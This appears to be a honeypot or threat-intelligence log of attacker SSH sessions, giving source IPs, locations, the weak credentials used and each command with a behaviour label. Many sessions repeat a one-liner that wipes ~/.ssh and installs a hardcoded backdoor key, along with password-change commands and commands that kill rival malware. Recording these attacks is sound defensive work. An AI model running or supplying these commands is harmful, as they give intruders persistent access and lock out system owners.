$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ jittery_windmill_root_95 (167.71.72.95) โ€” Amsterdam, The Netherlands ยท 1 session ยท 19 cmds
2026-07-14 01:19 EDT ยท as root/P@ssw0rd1!
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:7fbacZxE6cqF"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ manic_burger_root (172.182.225.7) โ€” Phoenix, United States ยท 1 session ยท 1 cmd
2026-07-14 00:58 EDT ยท as root/password
hostname discovery
$ hostname
โ†ณ hostname discovery
๐ŸŽญ grumpy_crepe_root (80.14.245.65) โ€” Aubervilliers, France ยท 1 session ยท 2 cmds
2026-07-14 00:17 EDT ยท as oracle/Welcome1
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ placid_dragon_root_234 (14.103.115.234) โ€” Beijing, China ยท 1 session ยท 2 cmds
2026-07-13 23:01 EDT ยท as oracle/111111
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ gnarled_burger_root_247 (47.252.39.247) โ€” Charlottesville, United States ยท 1 session ยท 1 cmd
2026-07-13 17:40 EDT ยท as root/123456
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ zealous_burger_root (23.29.118.224) โ€” New York, United States ยท 1 session ยท 2 cmds
2026-07-13 16:35 EDT ยท as oracle/a
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ nocturnal_jeepney_root (154.18.197.35) โ€” Quezon City, Philippines ยท 1 session ยท 20 cmds
2026-07-13 16:30 EDT ยท as test/123456
cd ~; chattr -ia .ssh; lockr -ia .ssh โ†’ cd ~ && rm -rf .ssh && mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "123456\nyp1xyvLSbmDU\nyp1xyvLSbmDU"|passwd|bash โ†’ Enter
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nyp1xyvLSbmDU\nyp1xyvLSbmDU"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nyp1xyvLSbmDU\nyp1xyvLSbmDU\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ silent_spice_sol (143.110.241.64) โ€” Bengaluru, India ยท 2 sessions ยท 22 cmds
2026-07-13 14:47 EDT ยท as oracle/Oracle2025, sol/123456
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ ร—2
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\n4zDHQLVQnnSc\n4zDHQLVQnnSc"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\n4zDHQLVQnnSc\n4zDHQLVQnnSc\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ scrappy_echo_root (190.5.200.98) โ€” Popayรกn, Colombia ยท 1 session ยท 20 cmds
2026-07-13 14:53 EDT ยท as docker/docker123
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ overwrite authorized_keys with hardcoded RSA key โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ passwd docker/docker123 โ†’ cat /proc/cpuinfo | grep model | head -n 1 โ†’ free -m | grep Mem โ†’ ls -lh $(which ls) โ†’ crontab -l
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "docker123\nBqANvjWdOhCc\nBqANvjWdOhCc"|passwd|bash
$ Enter new UNIX password:
$ echo "docker123\nBqANvjWdOhCc\nBqANvjWdOhCc\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ weary_lotus_sol (20.193.141.133) โ€” Pune, India ยท 1 session ยท 20 cmds
2026-07-13 14:31 EDT ยท as sol/123456
chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa" โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "123456\n9pNwjDdlQVhV" | passwd โ†’ bash โ†’ cat /proc/cpuinfo | grep model | head -n 1 โ†’ free -m
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\n9pNwjDdlQVhV\n9pNwjDdlQVhV"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\n9pNwjDdlQVhV\n9pNwjDdlQVhV\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ crimson_merlion_root_248 (43.156.3.248) โ€” Singapore, Singapore ยท 1 session ยท 5 cmds
2026-07-13 13:35 EDT ยท as root/root
hostname โ†’ cat โ†’ free โ†’ df
$ hostname -f 2>/dev/null || hostname 2>/dev/null || uname -n
$ cat /proc/meminfo | grep MemTotal | awk '{print $2}'
$ free -m | awk '/^Mem:/ {print $2}'
$ df -BG / 2>/dev/null | awk 'NR==2 {print $2}' | sed 's/G//'
$ cat /etc/os-release 2>/dev/null | grep PRETTY_NAME | cut -d= -f2 | tr -d '"'
๐ŸŽญ brisk_lantern_root (120.79.236.206) โ€” Shenzhen, China ยท 1 session ยท 20 cmds
2026-07-13 12:15 EDT ยท as postgres/postgres
cd ~; chattr -ia .ssh โ†’ rm -rf .ssh โ†’ mkdir .ssh โ†’ echo "ssh-rsa..." โ†’ cat /proc/cpuinfo | grep name | wc -l โ†’ echo "postgres\nzhk18mAtZLWh\nzhk18mAtZLWh"|passwd|bash โ†’ Enter new UNIX password: โ†’ echo "postgres\nzhk
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "postgres\nzhk18mAtZLWh\nzhk18mAtZLWh"|passwd|bash
$ Enter new UNIX password:
$ echo "postgres\nzhk18mAtZLWh\nzhk18mAtZLWh\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ velvet_cowboy (47.254.72.182) โ€” Santa Clara, United States ยท 1 session ยท 1 cmd
2026-07-13 07:35 EDT ยท as user/user
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ drowsy_tulip_root (45.156.87.93) โ€” Amsterdam, The Netherlands ยท 31 sessions ยท 31 cmds
2026-07-13 03:41 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 5x across 5 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—31
๐ŸŽญ nocturnal_cowboy_root (198.98.56.227) โ€” New York, United States ยท 1 session ยท 2 cmds
2026-07-13 04:50 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ brisk_blitz_root (64.188.64.137) โ€” Frankfurt am Main, Germany ยท 1 session ยท 3 cmds
2026-07-13 04:48 EDT ยท as root/123456
echo โ†’ uname โ†’ free
$ echo "Operating System: $(uname -s -r -m)" && echo "Total Memory: $(free -h | awk '/Mem:/{print $2}')" && echo "Core Count: $(lscpu | awk '/^CPU\(s\):/{print $2}')" && echo "Architecture: $(uname -m)" && echo "Distribution: $(lsb_release -d | awk -F"\t" '{print $2}')" && (lspci | grep -i 'vga\|3d\|2d' | awk -F: '{print "Graphical Device: " $3}' || echo "Graphical Device: Not present")
$ uname -s -r -m
$ free -h | awk /Mem:/{print $2}
๐ŸŽญ brazen_yankee_root (192.3.21.67) โ€” Los Angeles, United States ยท 1 session ยท 2 cmds
2026-07-13 03:45 EDT ยท as oracle/oracle2024
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ wily_lantern_root (8.138.47.89) โ€” Guangzhou, China ยท 32 sessions ยท 32 cmds
2026-07-13 01:59 EDT ยท as admin/123456, admin/admin, admin/admin123
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -v -n -r -m ร—32
๐ŸŽญ manic_kimchi_root (119.209.12.20) โ€” Seongnam-si, South Korea ยท 1 session ยท 2 cmds
2026-07-13 01:41 EDT ยท as oracle/oracle-123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
๐ŸŽญ silent_panda_root_4 (120.48.8.4) โ€” Beijing, China ยท 1 session ยท 1 cmd
2026-07-12 23:12 EDT ยท as test/test
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -a
โ†ณ OS/kernel identification
๐ŸŽญ vapor_burger_root (143.244.169.204) โ€” North Bergen, United States ยท 1 session ยท 20 cmds
2026-07-12 18:16 EDT ยท as test/123456
SSH session hijack via test/123456 โ†’ chattr -ia .ssh to lock directory โ†’ rm -rf .ssh && mkdir .ssh to clear existing keys โ†’ echo RSA key to inject backdoor โ†’ passwd | bash to force password reset to 123456 โ†’ cat /proc/cpuinfo | grep name | wc -l for CPU core enumeration โ†’ free
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo -e "123456\nWBDfJaiOMNGg\nWBDfJaiOMNGg"|passwd|bash
$ Enter new UNIX password:
$ echo "123456\nWBDfJaiOMNGg\nWBDfJaiOMNGg\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ feral_lantern_root_125 (61.240.141.125) โ€” Jinrongjie, China ยท 1 session ยท 1 cmd
2026-07-12 18:14 EDT ยท as root/password
Ran uname 1x across 1 sessions โ€” automated OS fingerprinting.
$ uname -s -m
๐ŸŽญ rabid_acai_sol (43.157.163.155) โ€” Sรฃo Paulo, Brazil ยท 1 session ยท 19 cmds
2026-07-12 16:55 EDT ยท as root/Aaa123123
file attribute tampering โ†’ SSH key persistence โ†’ CPU profiling โ†’ execute from /tmp โ†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
โ†ณ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
โ†ณ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
โ†ณ CPU profiling
$ echo "root:SfPCgI1v4dcQ"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
โ†ณ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
โ†ณ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
โ†ณ persistence setup
$ w
โ†ณ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
โ†ณ CPU profiling
$ top
โ†ณ process monitoring
$ uname
โ†ณ OS identification
$ uname -a
โ†ณ OS/kernel identification
$ whoami
โ†ณ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
๐ŸŽญ rabid_samba_root (191.252.204.221) โ€” Itacoatiara, Brazil ยท 2 sessions ยท 4 cmds
2026-07-10 20:49 EDT ยท as oracle/Admin@123, oracle/oracle@123
file attribute tampering โ†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh ร—2
โ†ณ file attribute tampering
